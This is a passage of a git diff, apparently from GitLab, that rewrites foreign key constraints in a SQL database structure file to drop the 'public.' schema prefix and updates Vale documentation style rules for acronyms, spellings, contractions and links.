- ADD CONSTRAINT fk_rails_d47570ac62 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_hashed_storage_attachments_events
+ ADD CONSTRAINT fk_rails_d496b088e9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_hashed_storage_attachments_events
- ADD CONSTRAINT fk_rails_d496b088e9 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_reviewers
+ ADD CONSTRAINT fk_rails_d9fec24b9d FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_imports
- ADD CONSTRAINT fk_rails_da617096ce FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY jira_imports
+ ADD CONSTRAINT fk_rails_da617096ce FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.dependency_proxy_blobs
- ADD CONSTRAINT fk_rails_db58bbc5d7 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dependency_proxy_blobs
+ ADD CONSTRAINT fk_rails_db58bbc5d7 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues_prometheus_alert_events
- ADD CONSTRAINT fk_rails_db5b756534 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_db5b756534 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_user_preferences
- ADD CONSTRAINT fk_rails_dbebdaa8fe FOREIGN KEY (board_id) REFERENCES public.boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_user_preferences
+ ADD CONSTRAINT fk_rails_dbebdaa8fe FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrence_pipelines
- ADD CONSTRAINT fk_rails_dc3ae04693 FOREIGN KEY (occurrence_id) REFERENCES public.vulnerability_occurrences(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrence_pipelines
+ ADD CONSTRAINT fk_rails_dc3ae04693 FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployment_merge_requests
- ADD CONSTRAINT fk_rails_dcbce9f4df FOREIGN KEY (deployment_id) REFERENCES public.deployments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_merge_requests
+ ADD CONSTRAINT fk_rails_dcbce9f4df FOREIGN KEY (deployment_id) REFERENCES deployments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.user_callouts
- ADD CONSTRAINT fk_rails_ddfdd80f3d FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_callouts
+ ADD CONSTRAINT fk_rails_ddfdd80f3d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_rails_debd54e456 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_rails_debd54e456 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_group_stages
- ADD CONSTRAINT fk_rails_dfb37c880d FOREIGN KEY (end_event_label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages
+ ADD CONSTRAINT fk_rails_dfb37c880d FOREIGN KEY (end_event_label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.label_priorities
- ADD CONSTRAINT fk_rails_e161058b0f FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY label_priorities
+ ADD CONSTRAINT fk_rails_e161058b0f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_packages
- ADD CONSTRAINT fk_rails_e1ac527425 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_packages
+ ADD CONSTRAINT fk_rails_e1ac527425 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_platforms_kubernetes
- ADD CONSTRAINT fk_rails_e1e2cf841a FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_platforms_kubernetes
+ ADD CONSTRAINT fk_rails_e1e2cf841a FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds_metadata
- ADD CONSTRAINT fk_rails_e20479742e FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds_metadata
+ ADD CONSTRAINT fk_rails_e20479742e FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_occurrence_identifiers
- ADD CONSTRAINT fk_rails_e4ef6d027c FOREIGN KEY (occurrence_id) REFERENCES public.vulnerability_occurrences(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_occurrence_identifiers
+ ADD CONSTRAINT fk_rails_e4ef6d027c FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.serverless_domain_cluster
- ADD CONSTRAINT fk_rails_e59e868733 FOREIGN KEY (clusters_applications_knative_id) REFERENCES public.clusters_applications_knative(id) ON DELETE CASCADE;
+ALTER TABLE ONLY serverless_domain_cluster
+ ADD CONSTRAINT fk_rails_e59e868733 FOREIGN KEY (clusters_applications_knative_id) REFERENCES clusters_applications_knative(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rule_sources
- ADD CONSTRAINT fk_rails_e605a04f76 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES public.approval_merge_request_rules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_merge_request_rule_sources
+ ADD CONSTRAINT fk_rails_e605a04f76 FOREIGN KEY (approval_merge_request_rule_id) REFERENCES approval_merge_request_rules(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_alerts
- ADD CONSTRAINT fk_rails_e6351447ec FOREIGN KEY (prometheus_metric_id) REFERENCES public.prometheus_metrics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_alerts
+ ADD CONSTRAINT fk_rails_e6351447ec FOREIGN KEY (prometheus_metric_id) REFERENCES prometheus_metrics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.requirements_management_test_reports
- ADD CONSTRAINT fk_rails_e67d085910 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE SET NULL;
+ALTER TABLE ONLY requirements_management_test_reports
+ ADD CONSTRAINT fk_rails_e67d085910 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_request_metrics
- ADD CONSTRAINT fk_rails_e6d7c24d1b FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_metrics
+ ADD CONSTRAINT fk_rails_e6d7c24d1b FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.draft_notes
- ADD CONSTRAINT fk_rails_e753681674 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY draft_notes
+ ADD CONSTRAINT fk_rails_e753681674 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_deploy_keys_groups
- ADD CONSTRAINT fk_rails_e87145115d FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_tokens
+ ADD CONSTRAINT fk_rails_e84f721a8e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.description_versions
- ADD CONSTRAINT fk_rails_e8f4caf9c7 FOREIGN KEY (epic_id) REFERENCES public.epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_deploy_keys_groups
+ ADD CONSTRAINT fk_rails_e87145115d FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_issue_links
- ADD CONSTRAINT fk_rails_e9180d534b FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY description_versions
+ ADD CONSTRAINT fk_rails_e8f4caf9c7 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_blocks
- ADD CONSTRAINT fk_rails_e9387863bc FOREIGN KEY (blocking_merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_issue_links
+ ADD CONSTRAINT fk_rails_e9180d534b FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_unprotect_access_levels
- ADD CONSTRAINT fk_rails_e9eb8dc025 FOREIGN KEY (protected_branch_id) REFERENCES public.protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_blocks
+ ADD CONSTRAINT fk_rails_e9387863bc FOREIGN KEY (blocking_merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alert_user_mentions
- ADD CONSTRAINT fk_rails_eb2de0cdef FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_unprotect_access_levels
+ ADD CONSTRAINT fk_rails_e9eb8dc025 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.snippet_statistics
- ADD CONSTRAINT fk_rails_ebc283ccf1 FOREIGN KEY (snippet_id) REFERENCES public.snippets(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alert_user_mentions
+ ADD CONSTRAINT fk_rails_eb2de0cdef FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_providers_aws
- ADD CONSTRAINT fk_rails_ed1fdfaeb2 FOREIGN KEY (created_by_user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY snippet_statistics
+ ADD CONSTRAINT fk_rails_ebc283ccf1 FOREIGN KEY (snippet_id) REFERENCES snippets(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_security_settings
- ADD CONSTRAINT fk_rails_ed4abe1338 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_providers_aws
+ ADD CONSTRAINT fk_rails_ed1fdfaeb2 FOREIGN KEY (created_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_daily_build_group_report_results
- ADD CONSTRAINT fk_rails_ee072d13b3 FOREIGN KEY (last_pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_security_settings
+ ADD CONSTRAINT fk_rails_ed4abe1338 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.label_priorities
- ADD CONSTRAINT fk_rails_ef916d14fa FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_daily_build_group_report_results
+ ADD CONSTRAINT fk_rails_ee072d13b3 FOREIGN KEY (last_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.fork_network_members
- ADD CONSTRAINT fk_rails_efccadc4ec FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY label_priorities
+ ADD CONSTRAINT fk_rails_ef916d14fa FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_alerts
- ADD CONSTRAINT fk_rails_f0e8db86aa FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY fork_network_members
+ ADD CONSTRAINT fk_rails_efccadc4ec FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.import_export_uploads
- ADD CONSTRAINT fk_rails_f129140f9e FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_alerts
+ ADD CONSTRAINT fk_rails_f0e8db86aa FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.jira_connect_subscriptions
- ADD CONSTRAINT fk_rails_f1d617343f FOREIGN KEY (jira_connect_installation_id) REFERENCES public.jira_connect_installations(id) ON DELETE CASCADE;
+ALTER TABLE ONLY import_export_uploads
+ ADD CONSTRAINT fk_rails_f129140f9e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.requirements
- ADD CONSTRAINT fk_rails_f212e67e63 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY jira_connect_subscriptions
+ ADD CONSTRAINT fk_rails_f1d617343f FOREIGN KEY (jira_connect_installation_id) REFERENCES jira_connect_installations(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.snippet_repositories
- ADD CONSTRAINT fk_rails_f21f899728 FOREIGN KEY (shard_id) REFERENCES public.shards(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY requirements
+ ADD CONSTRAINT fk_rails_f212e67e63 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_chat_data
- ADD CONSTRAINT fk_rails_f300456b63 FOREIGN KEY (chat_name_id) REFERENCES public.chat_names(id) ON DELETE CASCADE;
+ALTER TABLE ONLY snippet_repositories
+ ADD CONSTRAINT fk_rails_f21f899728 FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.approval_project_rules_users
- ADD CONSTRAINT fk_rails_f365da8250 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_chat_data
+ ADD CONSTRAINT fk_rails_f300456b63 FOREIGN KEY (chat_name_id) REFERENCES chat_names(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.insights
- ADD CONSTRAINT fk_rails_f36fda3932 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_users
+ ADD CONSTRAINT fk_rails_f365da8250 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_group_recent_visits
- ADD CONSTRAINT fk_rails_f410736518 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY insights
+ ADD CONSTRAINT fk_rails_f36fda3932 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_state_events
- ADD CONSTRAINT fk_rails_f5827a7ccd FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY board_group_recent_visits
+ ADD CONSTRAINT fk_rails_f410736518 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.design_user_mentions
- ADD CONSTRAINT fk_rails_f7075a53c1 FOREIGN KEY (design_id) REFERENCES public.design_management_designs(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_state_events
+ ADD CONSTRAINT fk_rails_f5827a7ccd FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.internal_ids
- ADD CONSTRAINT fk_rails_f7d46b66c6 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY design_user_mentions
+ ADD CONSTRAINT fk_rails_f7075a53c1 FOREIGN KEY (design_id) REFERENCES design_management_designs(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues_self_managed_prometheus_alert_events
- ADD CONSTRAINT fk_rails_f7db2d72eb FOREIGN KEY (self_managed_prometheus_alert_event_id) REFERENCES public.self_managed_prometheus_alert_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY internal_ids
+ ADD CONSTRAINT fk_rails_f7d46b66c6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests_closing_issues
- ADD CONSTRAINT fk_rails_f8540692be FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues_self_managed_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_f7db2d72eb FOREIGN KEY (self_managed_prometheus_alert_event_id) REFERENCES self_managed_prometheus_alert_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_trace_section_names
- ADD CONSTRAINT fk_rails_f8cd72cd26 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests_closing_issues
+ ADD CONSTRAINT fk_rails_f8540692be FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_trains
- ADD CONSTRAINT fk_rails_f90820cb08 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_build_trace_section_names
+ ADD CONSTRAINT fk_rails_f8cd72cd26 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_runner_namespaces
- ADD CONSTRAINT fk_rails_f9d9ed3308 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_trains
+ ADD CONSTRAINT fk_rails_f90820cb08 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.requirements_management_test_reports
- ADD CONSTRAINT fk_rails_fb3308ad55 FOREIGN KEY (requirement_id) REFERENCES public.requirements(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_runner_namespaces
+ ADD CONSTRAINT fk_rails_f9d9ed3308 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_feature_flags_issues
- ADD CONSTRAINT fk_rails_fb4d2a7cb1 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY requirements_management_test_reports
+ ADD CONSTRAINT fk_rails_fb3308ad55 FOREIGN KEY (requirement_id) REFERENCES requirements(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_project_recent_visits
- ADD CONSTRAINT fk_rails_fb6fc419cb FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY operations_feature_flags_issues
+ ADD CONSTRAINT fk_rails_fb4d2a7cb1 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.serverless_domain_cluster
- ADD CONSTRAINT fk_rails_fbdba67eb1 FOREIGN KEY (creator_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY board_project_recent_visits
+ ADD CONSTRAINT fk_rails_fb6fc419cb FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_job_variables
- ADD CONSTRAINT fk_rails_fbf3b34792 FOREIGN KEY (job_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY serverless_domain_cluster
+ ADD CONSTRAINT fk_rails_fbdba67eb1 FOREIGN KEY (creator_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.packages_nuget_metadata
- ADD CONSTRAINT fk_rails_fc0c19f5b4 FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_variables
+ ADD CONSTRAINT fk_rails_fbf3b34792 FOREIGN KEY (job_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.experiment_users
- ADD CONSTRAINT fk_rails_fd805f771a FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_nuget_metadata
+ ADD CONSTRAINT fk_rails_fc0c19f5b4 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_groups
- ADD CONSTRAINT fk_rails_fdb8648a96 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_users
+ ADD CONSTRAINT fk_rails_fd805f771a FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_tracing_settings
- ADD CONSTRAINT fk_rails_fe56f57fc6 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_groups
+ ADD CONSTRAINT fk_rails_fdb8648a96 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_label_events
- ADD CONSTRAINT fk_rails_fe91ece594 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY project_tracing_settings
+ ADD CONSTRAINT fk_rails_fe56f57fc6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds_metadata
- ADD CONSTRAINT fk_rails_ffcf702a02 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_label_events
+ ADD CONSTRAINT fk_rails_fe91ece594 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.timelogs
- ADD CONSTRAINT fk_timelogs_issues_issue_id FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds_metadata
+ ADD CONSTRAINT fk_rails_ffcf702a02 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.timelogs
- ADD CONSTRAINT fk_timelogs_merge_requests_merge_request_id FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY timelogs
+ ADD CONSTRAINT fk_timelogs_issues_issue_id FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.u2f_registrations
- ADD CONSTRAINT fk_u2f_registrations_user_id FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY timelogs
+ ADD CONSTRAINT fk_timelogs_merge_requests_merge_request_id FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE public.product_analytics_events_experimental
- ADD CONSTRAINT product_analytics_events_experimental_project_id_fkey FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY u2f_registrations
+ ADD CONSTRAINT fk_u2f_registrations_user_id FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
--- schema_migrations.version information is no longer stored in this file,
+ALTER TABLE product_analytics_events_experimental
+ ADD CONSTRAINT product_analytics_events_experimental_project_id_fkey FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;-- schema_migrations.version information is no longer stored in this file,
-- but instead tracked in the db/schema_migrations directory
-- see https://gitlab.com/gitlab-org/gitlab/-/issues/218590 for details
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml
index ae76162dfcf..d26ce9810d7 100644
--- a/doc/.vale/gitlab/Acronyms.yml
+++ b/doc/.vale/gitlab/Acronyms.yml
@@ -14,21 +14,26 @@ first: '\b([A-Z]{3,5})\b'
second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)'
# ... with the exception of these:
exceptions:
+ - ANSI
- API
- ARN
- ASCII
- AWS
- CLI
- CNAME
- - CPU
- CORE
+ - CPU
- CSS
- CSV
+ - DAST
- DNS
- EKS
- FAQ
+ - FOSS
+ - GCP
- GDK
- GET
+ - GKE
- GNU
- GPG
- GPL
@@ -38,6 +43,7 @@ exceptions:
- IAM
- IBM
- IDE
+ - IID
- IRC
- ISO
- JSON
@@ -46,6 +52,8 @@ exceptions:
- LESS
- LFS
- LRU
+ - MIME
+ - MVC
- NFS
- NGINX
- NOTE
@@ -56,15 +64,20 @@ exceptions:
- PHP
- POST
- PUT
- - RPC
- RAM
+ - RPC
- RSA
- RSS
+ - RVM
- SAML
+ - SAST
- SCIM
- SCP
- SCSS
+ - SDK
- SHA
+ - SLA
+ - SMTP
- SQL
- SSH
- SSL
@@ -77,11 +90,12 @@ exceptions:
- TODO
- TOML
- UNIX
- - USB
- URI
- URL
+ - USB
- UUID
- VPC
- WIP
+ - WSL
- XML
- YAML
diff --git a/doc/.vale/gitlab/AlertBoxStyle.yml b/doc/.vale/gitlab/AlertBoxStyle.yml
index 8f9e444edc1..06743d95ea9 100644
--- a/doc/.vale/gitlab/AlertBoxStyle.yml
+++ b/doc/.vale/gitlab/AlertBoxStyle.yml
@@ -3,6 +3,12 @@
#
# Makes sure alert boxes follow standard formatting.
#
+# Checks for 4 known issues:
+# - Alert boxes with no colon, or colon outside the bold text
+# - Known incorrect capitalization of the most commonly used alert box text
+# - Alert boxes with the note text on the same line
+# - Alert boxes using blockquote formatting, like "> **Note:**"
+#
# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
extends: existence
message: 'Alert box "%s" must use the formatting in the style guide.'
diff --git a/doc/.vale/gitlab/British.yml b/doc/.vale/gitlab/British.yml
index 3a0cb321f93..7221d7d24aa 100644
--- a/doc/.vale/gitlab/British.yml
+++ b/doc/.vale/gitlab/British.yml
@@ -67,7 +67,6 @@ swap:
matt: matte
meagre: meager
metre: meter
- mitre: miter
modelling: modeling
moustache: mustache
neighbour: neighbor
@@ -98,6 +97,8 @@ swap:
speciality: specialty
spectre: specter
splendour: splendor
+ standardise: standardize
+ standardised: standardized
sulphur: sulfur
theatre: theater
travelled: traveled
diff --git a/doc/.vale/gitlab/ContractionsDiscard.yml b/doc/.vale/gitlab/ContractionsDiscard.yml
deleted file mode 100644
index 698fda86b5b..00000000000
--- a/doc/.vale/gitlab/ContractionsDiscard.yml
+++ /dev/null
@@ -1,32 +0,0 @@
----
-# Suggestion: gitlab.ContractionsDiscard
-#
-# Suggests a list of agreed-upon contractions to discard.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: substitution
-message: 'Use "%s" instead of "%s", for a friendly, informal tone.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
-level: suggestion
-nonword: false
-ignorecase: true
-swap:
-
- # Uncommon contractions are not ok
- aren't: are not
- couldn't: could not
- didn't: did not
- doesn't: does not
- hasn't: has not
- how's: how is
- isn't: is not
- shouldn't: should not
- they're: they are
- wasn't: was not
- weren't: were not
- we've: we have
- what's: what is
- when's: when is
- where's: where is
- who's: who is
- why's: why is
diff --git a/doc/.vale/gitlab/ContractionsKeep.yml b/doc/.vale/gitlab/ContractionsKeep.yml
deleted file mode 100644
index eeaf65e0829..00000000000
--- a/doc/.vale/gitlab/ContractionsKeep.yml
+++ /dev/null
@@ -1,25 +0,0 @@
----
-# Suggestion: gitlab.ContractionsKeep
-#
-# Suggests a list of agreed-upon contractions to keep.
-#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
-extends: substitution
-message: 'Use "%s" instead of "%s", for a friendly, informal tone.'
-link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language
-level: suggestion
-nonword: false
-ignorecase: true
-swap:
-
- # Common contractions are ok
- it is: it's
- can not: can't
- cannot: can't
- do not: don't
- have not: haven't
- that is: that's
- we are: we're
- would not: wouldn't
- you are: you're
- you have: you've
diff --git a/doc/.vale/gitlab/RelativeLinks.yml b/doc/.vale/gitlab/RelativeLinks.yml
index f7407375b84..7af20d8226f 100644
--- a/doc/.vale/gitlab/RelativeLinks.yml
+++ b/doc/.vale/gitlab/RelativeLinks.yml
@@ -10,4 +10,4 @@ link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links
level: error
scope: raw
raw:
- - '\[.+\]\(https?:\/\/docs\.gitlab\.com\/ee.*\)'
+ - '\[.+\]\(https?:\/\/docs\.gitlab\.com\/[ce]e.*\)'
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index 1301e8c4ca1..bf816afdfab 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -76,6 +76,7 @@ Citus
clonable
Cloudwatch
Cobertura
+Codepen
Cognito
colocated
colocating
